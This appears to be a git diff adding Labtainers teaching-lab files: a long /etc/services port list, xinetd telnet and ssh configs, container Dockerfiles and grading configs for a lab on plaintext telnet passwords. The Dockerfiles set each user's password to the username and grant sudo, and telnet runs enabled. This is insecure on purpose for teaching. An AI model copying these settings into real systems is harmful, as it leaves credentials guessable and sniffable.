3690/tcp subversion # Subversion protocol +svn 3690/udp subversion +suucp 4031/tcp # UUCP over SSL +suucp 4031/udp +sysrqd 4094/tcp # sysrq daemon +sysrqd 4094/udp +sieve 4190/tcp # ManageSieve Protocol +epmd 4369/tcp # Erlang Port Mapper Daemon +epmd 4369/udp +remctl 4373/tcp # Remote Authenticated Command Service +remctl 4373/udp +f5-iquery 4353/tcp # F5 iQuery +f5-iquery 4353/udp +ipsec-nat-t 4500/udp # IPsec NAT-Traversal [RFC3947] +iax 4569/tcp # Inter-Asterisk eXchange +iax 4569/udp +mtn 4691/tcp # monotone Netsync Protocol +mtn 4691/udp +radmin-port 4899/tcp # RAdmin Port +radmin-port 4899/udp +rfe 5002/udp # Radio Free Ethernet +rfe 5002/tcp +mmcc 5050/tcp # multimedia conference control tool (Yahoo IM) +mmcc 5050/udp +sip 5060/tcp # Session Initiation Protocol +sip 5060/udp +sip-tls 5061/tcp +sip-tls 5061/udp +aol 5190/tcp # AIM +aol 5190/udp +xmpp-client 5222/tcp jabber-client # Jabber Client Connection +xmpp-client 5222/udp jabber-client +xmpp-server 5269/tcp jabber-server # Jabber Server Connection +xmpp-server 5269/udp jabber-server +cfengine 5308/tcp +cfengine 5308/udp +mdns 5353/tcp # Multicast DNS +mdns 5353/udp +postgresql 5432/tcp postgres # PostgreSQL Database +postgresql 5432/udp postgres +freeciv 5556/tcp rptp # Freeciv gameplay +freeciv 5556/udp +amqps 5671/tcp # AMQP protocol over TLS/SSL +amqp 5672/tcp +amqp 5672/udp +amqp 5672/sctp +ggz 5688/tcp # GGZ Gaming Zone +ggz 5688/udp +x11 6000/tcp x11-0 # X Window System +x11 6000/udp x11-0 +x11-1 6001/tcp +x11-1 6001/udp +x11-2 6002/tcp +x11-2 6002/udp +x11-3 6003/tcp +x11-3 6003/udp +x11-4 6004/tcp +x11-4 6004/udp +x11-5 6005/tcp +x11-5 6005/udp +x11-6 6006/tcp +x11-6 6006/udp +x11-7 6007/tcp +x11-7 6007/udp +gnutella-svc 6346/tcp # gnutella +gnutella-svc 6346/udp +gnutella-rtr 6347/tcp # gnutella +gnutella-rtr 6347/udp +sge-qmaster 6444/tcp sge_qmaster # Grid Engine Qmaster Service +sge-qmaster 6444/udp sge_qmaster +sge-execd 6445/tcp sge_execd # Grid Engine Execution Service +sge-execd 6445/udp sge_execd +mysql-proxy 6446/tcp # MySQL Proxy +mysql-proxy 6446/udp +afs3-fileserver 7000/tcp bbs # file server itself +afs3-fileserver 7000/udp bbs +afs3-callback 7001/tcp # callbacks to cache managers +afs3-callback 7001/udp +afs3-prserver 7002/tcp # users & groups database +afs3-prserver 7002/udp +afs3-vlserver 7003/tcp # volume location database +afs3-vlserver 7003/udp +afs3-kaserver 7004/tcp # AFS/Kerberos authentication +afs3-kaserver 7004/udp +afs3-volser 7005/tcp # volume managment server +afs3-volser 7005/udp +afs3-errors 7006/tcp # error interpretation service +afs3-errors 7006/udp +afs3-bos 7007/tcp # basic overseer process +afs3-bos 7007/udp +afs3-update 7008/tcp # server-to-server updater +afs3-update 7008/udp +afs3-rmtsys 7009/tcp # remote cache manager service +afs3-rmtsys 7009/udp +font-service 7100/tcp xfs # X Font Service +font-service 7100/udp xfs +http-alt 8080/tcp webcache # WWW caching service +http-alt 8080/udp +bacula-dir 9101/tcp # Bacula Director +bacula-dir 9101/udp +bacula-fd 9102/tcp # Bacula File Daemon +bacula-fd 9102/udp +bacula-sd 9103/tcp # Bacula Storage Daemon +bacula-sd 9103/udp +xmms2 9667/tcp # Cross-platform Music Multiplexing System +xmms2 9667/udp +nbd 10809/tcp # Linux Network Block Device +zabbix-agent 10050/tcp # Zabbix Agent +zabbix-agent 10050/udp +zabbix-trapper 10051/tcp # Zabbix Trapper +zabbix-trapper 10051/udp +amanda 10080/tcp # amanda backup services +amanda 10080/udp +dicom 11112/tcp +hkp 11371/tcp # OpenPGP HTTP Keyserver +hkp 11371/udp +bprd 13720/tcp # VERITAS NetBackup +bprd 13720/udp +bpdbm 13721/tcp # VERITAS NetBackup +bpdbm 13721/udp +bpjava-msvc 13722/tcp # BP Java MSVC Protocol +bpjava-msvc 13722/udp +vnetd 13724/tcp # Veritas Network Utility +vnetd 13724/udp +bpcd 13782/tcp # VERITAS NetBackup +bpcd 13782/udp +vopied 13783/tcp # VERITAS NetBackup +vopied 13783/udp +db-lsp 17500/tcp # Dropbox LanSync Protocol +dcap 22125/tcp # dCache Access Protocol +gsidcap 22128/tcp # GSI dCache Access Protocol +wnn6 22273/tcp # wnn6 +wnn6 22273/udp + +# +# Datagram Delivery Protocol services +# +rtmp 1/ddp # Routing Table Maintenance Protocol +nbp 2/ddp # Name Binding Protocol +echo 4/ddp # AppleTalk Echo Protocol +zip 6/ddp # Zone Information Protocol + +#========================================================================= +# The remaining port numbers are not as allocated by IANA. +#========================================================================= + +# Kerberos (Project Athena/MIT) services +# Note that these are for Kerberos v4, and are unofficial. Sites running +# v4 should uncomment these and comment out the v5 entries above. +# +kerberos4 750/udp kerberos-iv kdc # Kerberos (server) +kerberos4 750/tcp kerberos-iv kdc +kerberos-master 751/udp kerberos_master # Kerberos authentication +kerberos-master 751/tcp +passwd-server 752/udp passwd_server # Kerberos passwd server +krb-prop 754/tcp krb_prop krb5_prop hprop # Kerberos slave propagation +krbupdate 760/tcp kreg # Kerberos registration +swat 901/tcp # swat +kpop 1109/tcp # Pop with Kerberos +knetd 2053/tcp # Kerberos de-multiplexor +zephyr-srv 2102/udp # Zephyr server +zephyr-clt 2103/udp # Zephyr serv-hm connection +zephyr-hm 2104/udp # Zephyr hostmanager +eklogin 2105/tcp # Kerberos encrypted rlogin +# Hmmm. Are we using Kv4 or Kv5 now? Worrying. +# The following is probably Kerberos v5 --- ajt@debian.org (11/02/2000) +kx 2111/tcp # X over Kerberos +iprop 2121/tcp # incremental propagation +# +# Unofficial but necessary (for NetBSD) services +# +supfilesrv 871/tcp # SUP server +supfiledbg 1127/tcp # SUP debugging + +# +# Services added for the Debian GNU/Linux distribution +# +linuxconf 98/tcp # LinuxConf +poppassd 106/tcp # Eudora +poppassd 106/udp +moira-db 775/tcp moira_db # Moira database +moira-update 777/tcp moira_update # Moira update protocol +moira-ureg 779/udp moira_ureg # Moira user registration +spamd 783/tcp # spamassassin daemon +omirr 808/tcp omirrd # online mirror +omirr 808/udp omirrd +customs 1001/tcp # pmake customs server +customs 1001/udp +skkserv 1178/tcp # skk jisho server port +predict 1210/udp # predict -- satellite tracking +rmtcfg 1236/tcp # Gracilis Packeten remote config server +wipld 1300/tcp # Wipl network monitor +xtel 1313/tcp # french minitel +xtelw 1314/tcp # french minitel +support 1529/tcp # GNATS +cfinger 2003/tcp # GNU Finger +frox 2121/tcp # frox: caching ftp proxy +ninstall 2150/tcp # ninstall service +ninstall 2150/udp +zebrasrv 2600/tcp # zebra service +zebra 2601/tcp # zebra vty +ripd 2602/tcp # ripd vty (zebra) +ripngd 2603/tcp # ripngd vty (zebra) +ospfd 2604/tcp # ospfd vty (zebra) +bgpd 2605/tcp # bgpd vty (zebra) +ospf6d 2606/tcp # ospf6d vty (zebra) +ospfapi 2607/tcp # OSPF-API +isisd 2608/tcp # ISISd vty (zebra) +afbackup 2988/tcp # Afbackup system +afbackup 2988/udp +afmbackup 2989/tcp # Afmbackup system +afmbackup 2989/udp +xtell 4224/tcp # xtell server +fax 4557/tcp # FAX transmission service (old) +hylafax 4559/tcp # HylaFAX client-server protocol (new) +distmp3 4600/tcp # distmp3host daemon +munin 4949/tcp lrrd # Munin +enbd-cstatd 5051/tcp # ENBD client statd +enbd-sstatd 5052/tcp # ENBD server statd +pcrd 5151/tcp # PCR-1000 Daemon +noclog 5354/tcp # noclogd with TCP (nocol) +noclog 5354/udp # noclogd with UDP (nocol) +hostmon 5355/tcp # hostmon uses TCP (nocol) +hostmon 5355/udp # hostmon uses UDP (nocol) +rplay 5555/udp # RPlay audio service +nrpe 5666/tcp # Nagios Remote Plugin Executor +nsca 5667/tcp # Nagios Agent - NSCA +mrtd 5674/tcp # MRT Routing Daemon +bgpsim 5675/tcp # MRT Routing Simulator +canna 5680/tcp # cannaserver +syslog-tls 6514/tcp # Syslog over TLS [RFC5425] +sane-port 6566/tcp sane saned # SANE network scanner daemon +ircd 6667/tcp # Internet Relay Chat +zope-ftp 8021/tcp # zope management by ftp +tproxy 8081/tcp # Transparent Proxy +omniorb 8088/tcp # OmniORB +omniorb 8088/udp +clc-build-daemon 8990/tcp # Common lisp build daemon +xinetd 9098/tcp +mandelspawn 9359/udp mandelbrot # network mandelbrot +git 9418/tcp # Git Version Control System +zope 9673/tcp # zope server +webmin 10000/tcp +kamanda 10081/tcp # amanda backup services (Kerberos) +kamanda 10081/udp +amandaidx 10082/tcp # amanda backup services +amidxtape 10083/tcp # amanda backup services +smsqp 11201/tcp # Alamin SMS gateway +smsqp 11201/udp +xpilot 15345/tcp # XPilot Contact Port +xpilot 15345/udp +sgi-cmsd 17001/udp # Cluster membership services daemon +sgi-crsd 17002/udp +sgi-gcd 17003/udp # SGI Group membership daemon +sgi-cad 17004/tcp # Cluster Admin daemon +isdnlog 20011/tcp # isdn logging system +isdnlog 20011/udp +vboxd 20012/tcp # voice box system +vboxd 20012/udp +binkp 24554/tcp # binkp fidonet protocol +asp 27374/tcp # Address Search Protocol +asp 27374/udp +csync2 30865/tcp # cluster synchronization tool +dircproxy 57000/tcp # Detachable IRC Proxy +tfido 60177/tcp # fidonet EMSI over telnet +fido 60179/tcp # fidonet EMSI over TCP + +# Local services diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_system/etc/xinetd.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_system/etc/xinetd.conf new file mode 100644 index 000000000..94a44e584 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_system/etc/xinetd.conf @@ -0,0 +1,15 @@ +# Simple configuration file for xinetd +# +# Some defaults, and include /etc/xinetd.d/ + +defaults +{ + +# Please note that you need a log_type line to be able to use log_on_success +# and log_on_failure. The default is the following : +log_type = SYSLOG daemon info + +} + +includedir /etc/xinetd.d + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_system/etc/xinetd.d/ssh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_system/etc/xinetd.d/ssh new file mode 100644 index 000000000..9b8db4365 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_system/etc/xinetd.d/ssh @@ -0,0 +1,12 @@ +service ssh +{ + socket_type = stream + protocol = tcp + wait = no + port = 22 + user = root + server = /usr/sbin/sshd + server_args = -i + disable = no +} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_system/etc/xinetd.d/telnet b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_system/etc/xinetd.d/telnet new file mode 100644 index 000000000..b1791994e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_system/etc/xinetd.d/telnet @@ -0,0 +1,10 @@ +service telnet +{ + flags = REUSE + socket_type = stream + wait = no + user = root + server = /usr/sbin/in.telnetd + log_on_failure += USERID + disable = no +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_system/sbin/faux_init new file mode 100755 index 000000000..5d451b345 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start +service xinetd start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/documents/delete-this.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/documents/delete-this.txt new file mode 100644 index 000000000..28d362436 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/tcpip/server/documents/delete-this.txt @@ -0,0 +1 @@ +This file should be deleted. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/client/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/client/_bin/treataslocal new file mode 100644 index 000000000..dc30defc3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/client/_bin/treataslocal @@ -0,0 +1,2 @@ +/usr/bin/telnet +/usr/bin/ssh diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/client/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/client/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/client/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/config/about.txt new file mode 100644 index 000000000..b158a8ec2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/config/about.txt @@ -0,0 +1 @@ +Illustrates the telnet protocol transmission of plain-text passwords. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/config/parameter.config new file mode 100644 index 000000000..8ca11e8b1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/config/parameter.config @@ -0,0 +1,7 @@ +# parameter.config +# +# Please see labdesigner.pdf + +# The following are meant for telnet lab +FSTRING : HASH_REPLACE : server:filetoview.txt : TELNET_STRING : mytelnetfilestirng + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/config/start.config new file mode 100644 index 000000000..541990d99 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/config/start.config @@ -0,0 +1,29 @@ +# Filename : start.config +# Description: +# This is a simple configuration file read by start.sh + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + GRADE_CONTAINER client + + # HOST_HOME_XFER - directory to transfer artifact to/from containers + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED telnetlab_jean_seed + +# SUBNETS +NETWORK SOME_NETWORK + MASK 172.20.0.0/24 + GATEWAY 172.20.0.100 + +# Container name and settings +CONTAINER client + USER ubuntu + SOME_NETWORK 172.20.0.2 + +CONTAINER server + USER ubuntu + SOME_NETWORK 172.20.0.3 + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/dockerfiles/Dockerfile.telnetlab.client.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/dockerfiles/Dockerfile.telnetlab.client.student new file mode 100644 index 000000000..e9512a4e1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/dockerfiles/Dockerfile.telnetlab.client.student @@ -0,0 +1,21 @@ +ARG registry +FROM $registry/labtainer.base +ARG lab +ARG labdir +ARG imagedir +ARG apt_source +ARG user_name + +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends telnet + +ADD $labdir/sys_$lab.tar.gz / +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/dockerfiles/Dockerfile.telnetlab.server.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/dockerfiles/Dockerfile.telnetlab.server.student new file mode 100644 index 000000000..e83e7165c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/dockerfiles/Dockerfile.telnetlab.server.student @@ -0,0 +1,26 @@ +ARG registry +FROM $registry/labtainer.network +ARG lab +ARG labdir +ARG imagedir +ARG apt_source +ARG user_name +# +# +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends \ + telnetd + +ADD $labdir/sys_$lab.tar.gz / + +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$user_name" | chpasswd +RUN adduser $user_name sudo + +USER $user_name +ENV HOME /home/$user_name +ADD $labdir/$lab.tar.gz $HOME + +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/docs/Makefile new file mode 100644 index 000000000..3a83c4e77 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/docs/Makefile @@ -0,0 +1,6 @@ +telnet.pdf: telnet.docx + soffice --convert-to pdf telnet.docx --headless + +clean: + rm -fr auto + rm -f *.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/docs/read_first.txt new file mode 100644 index 000000000..b65fd49f3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/docs/read_first.txt @@ -0,0 +1,6 @@ +The lab manual is at + file://LAB_DOCS/telnet.pdf + +You may open this manual by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/docs/telnet.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/docs/telnet.docx new file mode 100644 index 000000000..32cf1792b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/docs/telnet.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/instr_config/goals.config new file mode 100644 index 000000000..2b6921afe --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/instr_config/goals.config @@ -0,0 +1,9 @@ +# goals.config +# +# Please the Labtainers Lab Designer User Guide + +# Note these goals are intended mostly for testing the framework. +#DOC: viewed file from telnet +telnetview = matchany : string_equal : fileview : parameter.FSTRING +#DOC: viewed file from ssh +sshview = matchany : string_equal : sshfileview : parameter.FSTRING diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/instr_config/results.config new file mode 100644 index 000000000..7bcb3e0fa --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/instr_config/results.config @@ -0,0 +1,8 @@ +# results.config +# +# Please the Labtainers Lab Designer User Guide +# +fileview = client:telnet.stdout : 4 : STARTSWITH : My string is: +sshfileview = client:ssh.stdout : 4 : STARTSWITH : My string is: +#DOC: Failed login as expected. +failed_login = server:/var/log/auth.log : CONTAINS : FAILED LOGIN diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/server/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/server/_bin/treataslocal new file mode 100644 index 000000000..d32bcf090 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/server/_bin/treataslocal @@ -0,0 +1 @@ +/usr/bin/tcpdump diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/server/_system/etc/services b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/server/_system/etc/services new file mode 100644 index 000000000..704cd1200 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/telnetlab/server/_system/etc/services @@ -0,0 +1,612 @@ +# Network services, Internet style +# +# Note that it is presently the policy of IANA to assign a single well-known +# port number for both TCP and UDP; hence, officially ports have two entries +# even if the protocol doesn't support UDP operations. +# +# Updated from http://www.iana.org/assignments/port-numbers and other +# sources like http://www.freebsd.org/cgi/cvsweb.cgi/src/etc/services . +# New ports will be added on request if they have been officially assigned +# by IANA and used in the real-world or are needed by a debian package. +# If you need a huge list of used numbers please install the nmap package. + +tcpmux 1/tcp # TCP port service multiplexer +echo 7/tcp +echo 7/udp +discard 9/tcp sink null +discard 9/udp sink null +systat 11/tcp users +daytime 13/tcp +daytime 13/udp +netstat 15/tcp +qotd 17/tcp quote +msp 18/tcp # message send protocol +msp 18/udp +chargen 19/tcp ttytst source +chargen 19/udp ttytst source +ftp-data 20/tcp +ftp 21/tcp +fsp 21/udp fspd +ssh 22/tcp # SSH Remote Login Protocol +ssh 22/udp +telnet 23/tcp +smtp 25/tcp mail +time 37/tcp timserver +time 37/udp timserver +rlp 39/udp resource # resource location +nameserver 42/tcp name # IEN 116 +whois 43/tcp nicname +tacacs 49/tcp # Login Host Protocol (TACACS) +tacacs 49/udp +re-mail-ck 50/tcp # Remote Mail Checking Protocol +re-mail-ck 50/udp +domain 53/tcp # Domain Name Server +domain 53/udp +mtp 57/tcp # deprecated +tacacs-ds 65/tcp # TACACS-Database Service +tacacs-ds 65/udp +bootps 67/tcp # BOOTP server +bootps 67/udp +bootpc 68/tcp # BOOTP client +bootpc 68/udp +tftp 69/udp +gopher 70/tcp # Internet Gopher +gopher 70/udp +rje 77/tcp netrjs +finger 79/tcp +http 80/tcp www # WorldWideWeb HTTP +http 80/udp # HyperText Transfer Protocol +link 87/tcp ttylink +kerberos 88/tcp kerberos5 krb5 kerberos-sec # Kerberos v5 +kerberos 88/udp kerberos5 krb5 kerberos-sec # Kerberos v5 +supdup 95/tcp +hostnames 101/tcp hostname # usually from sri-nic +iso-tsap 102/tcp tsap # part of ISODE +acr-nema 104/tcp dicom # Digital Imag. & Comm. 300 +acr-nema 104/udp dicom +csnet-ns 105/tcp cso-ns # also used by CSO name server +csnet-ns 105/udp cso-ns +rtelnet 107/tcp # Remote Telnet +rtelnet 107/udp +pop2 109/tcp postoffice pop-2 # POP version 2 +pop2 109/udp pop-2 +pop3 110/tcp pop-3 # POP version 3 +pop3 110/udp pop-3 +sunrpc 111/tcp portmapper # RPC 4.0 portmapper +sunrpc 111/udp portmapper +auth 113/tcp authentication tap ident +sftp 115/tcp +uucp-path 117/tcp +nntp 119/tcp readnews untp # USENET News Transfer Protocol +ntp 123/tcp +ntp 123/udp # Network Time Protocol +pwdgen 129/tcp # PWDGEN service +pwdgen 129/udp +loc-srv 135/tcp epmap # Location Service +loc-srv 135/udp epmap +netbios-ns 137/tcp # NETBIOS Name Service +netbios-ns 137/udp +netbios-dgm 138/tcp # NETBIOS Datagram Service +netbios-dgm 138/udp +netbios-ssn 139/tcp # NETBIOS session service +netbios-ssn 139/udp +imap2 143/tcp imap # Interim Mail Access P 2 and 4 +imap2 143/udp imap +snmp 161/tcp # Simple Net Mgmt Protocol +snmp 161/udp +snmp-trap 162/tcp snmptrap # Traps for SNMP +snmp-trap 162/udp snmptrap +cmip-man 163/tcp # ISO mgmt over IP (CMOT) +cmip-man 163/udp +cmip-agent 164/tcp +cmip-agent 164/udp +mailq 174/tcp # Mailer transport queue for Zmailer +mailq 174/udp +xdmcp 177/tcp # X Display Mgr. Control Proto +xdmcp 177/udp +nextstep 178/tcp NeXTStep NextStep # NeXTStep window +nextstep 178/udp NeXTStep NextStep # server +bgp 179/tcp # Border Gateway Protocol +bgp 179/udp +prospero 191/tcp # Cliff Neuman's Prospero +prospero 191/udp +irc 194/tcp # Internet Relay Chat +irc 194/udp +smux 199/tcp # SNMP Unix Multiplexer +smux 199/udp +at-rtmp 201/tcp # AppleTalk routing +at-rtmp 201/udp +at-nbp 202/tcp # AppleTalk name binding +at-nbp 202/udp +at-echo 204/tcp # AppleTalk echo +at-echo 204/udp +at-zis 206/tcp # AppleTalk zone information +at-zis 206/udp +qmtp 209/tcp # Quick Mail Transfer Protocol +qmtp 209/udp +z3950 210/tcp wais # NISO Z39.50 database +z3950 210/udp wais +ipx 213/tcp # IPX +ipx 213/udp +imap3 220/tcp # Interactive Mail Access +imap3 220/udp # Protocol v3 +pawserv 345/tcp # Perf Analysis Workbench +pawserv 345/udp +zserv 346/tcp # Zebra server +zserv 346/udp +fatserv 347/tcp # Fatmen Server +fatserv 347/udp +rpc2portmap 369/tcp +rpc2portmap 369/udp # Coda portmapper +codaauth2 370/tcp +codaauth2 370/udp # Coda authentication server +clearcase 371/tcp Clearcase +clearcase 371/udp Clearcase +ulistserv 372/tcp # UNIX Listserv +ulistserv 372/udp +ldap 389/tcp # Lightweight Directory Access Protocol +ldap 389/udp +imsp 406/tcp # Interactive Mail Support Protocol +imsp 406/udp +svrloc 427/tcp # Server Location +svrloc 427/udp +https 443/tcp # http protocol over TLS/SSL +https 443/udp +snpp 444/tcp # Simple Network Paging Protocol +snpp 444/udp +microsoft-ds 445/tcp # Microsoft Naked CIFS +microsoft-ds 445/udp +kpasswd 464/tcp +kpasswd 464/udp +urd 465/tcp ssmtp smtps # URL Rendesvous Directory for SSM +saft 487/tcp # Simple Asynchronous File Transfer +saft 487/udp +isakmp 500/tcp # IPsec - Internet Security Association +isakmp 500/udp # and Key Management Protocol +rtsp 554/tcp # Real Time Stream Control Protocol +rtsp 554/udp +nqs 607/tcp # Network Queuing system +nqs 607/udp +npmp-local 610/tcp dqs313_qmaster # npmp-local / DQS +npmp-local 610/udp dqs313_qmaster +npmp-gui 611/tcp dqs313_execd # npmp-gui / DQS +npmp-gui 611/udp dqs313_execd +hmmp-ind 612/tcp dqs313_intercell # HMMP Indication / DQS +hmmp-ind 612/udp dqs313_intercell +asf-rmcp 623/udp # ASF Remote Management and Control Protocol +qmqp 628/tcp +qmqp 628/udp +ipp 631/tcp # Internet Printing Protocol +ipp 631/udp +# +# UNIX specific services +# +exec 512/tcp +biff 512/udp comsat +login 513/tcp +who 513/udp whod +shell 514/tcp cmd # no passwords used +syslog 514/udp +printer 515/tcp spooler # line printer spooler +talk 517/udp +ntalk 518/udp +route 520/udp router routed # RIP +timed 525/udp timeserver +tempo 526/tcp newdate +courier 530/tcp rpc +conference 531/tcp chat +netnews 532/tcp readnews +netwall 533/udp # for emergency broadcasts +gdomap 538/tcp # GNUstep distributed objects +gdomap 538/udp +uucp 540/tcp uucpd # uucp daemon +klogin 543/tcp # Kerberized `rlogin' (v5) +kshell 544/tcp krcmd # Kerberized `rsh' (v5) +dhcpv6-client 546/tcp +dhcpv6-client 546/udp +dhcpv6-server 547/tcp +dhcpv6-server 547/udp +afpovertcp 548/tcp # AFP over TCP +afpovertcp 548/udp +idfp 549/tcp +idfp 549/udp +remotefs 556/tcp rfs_server rfs # Brunhoff remote filesystem +nntps 563/tcp snntp # NNTP over SSL +nntps 563/udp snntp +submission 587/tcp # Submission [RFC4409] +submission 587/udp +ldaps 636/tcp # LDAP over SSL +ldaps 636/udp +tinc 655/tcp # tinc control port +tinc 655/udp +silc 706/tcp +silc 706/udp +kerberos-adm 749/tcp # Kerberos `kadmin' (v5) +# +webster 765/tcp # Network dictionary +webster 765/udp +rsync 873/tcp +rsync 873/udp +ftps-data 989/tcp # FTP over SSL (data) +ftps 990/tcp +telnets 992/tcp # Telnet over SSL +telnets 992/udp +imaps 993/tcp # IMAP over SSL +imaps 993/udp +ircs 994/tcp # IRC over SSL +ircs 994/udp +pop3s 995/tcp # POP-3 over SSL +pop3s 995/udp +# +# From ``Assigned Numbers'': +# +#> The Registered Ports are not controlled by the IANA and on most systems +#> can be used by ordinary user processes or programs executed by ordinary +#> users. +# +#> Ports are used in the TCP [45,106] to name the ends of logical +#> connections which carry long term conversations. For the purpose of +#> providing services to unknown callers, a service contact port is +#> defined. This list specifies the port used by the server process as its +#> contact port. While the IANA can not control uses of these ports it +#> does register or list uses of these ports as a convienence to the +#> community. +# +socks 1080/tcp # socks proxy server +socks 1080/udp +proofd 1093/tcp +proofd 1093/udp +rootd 1094/tcp +rootd 1094/udp +openvpn 1194/tcp +openvpn 1194/udp +rmiregistry 1099/tcp # Java RMI Registry +rmiregistry 1099/udp +kazaa 1214/tcp +kazaa 1214/udp +nessus 1241/tcp # Nessus vulnerability +nessus 1241/udp # assessment scanner +lotusnote 1352/tcp lotusnotes # Lotus Note +lotusnote 1352/udp lotusnotes +ms-sql-s 1433/tcp # Microsoft SQL Server +ms-sql-s 1433/udp +ms-sql-m 1434/tcp # Microsoft SQL Monitor +ms-sql-m 1434/udp +ingreslock 1524/tcp +ingreslock 1524/udp +prospero-np 1525/tcp # Prospero non-privileged +prospero-np 1525/udp +datametrics 1645/tcp old-radius +datametrics 1645/udp old-radius +sa-msg-port 1646/tcp old-radacct +sa-msg-port 1646/udp old-radacct +kermit 1649/tcp +kermit 1649/udp 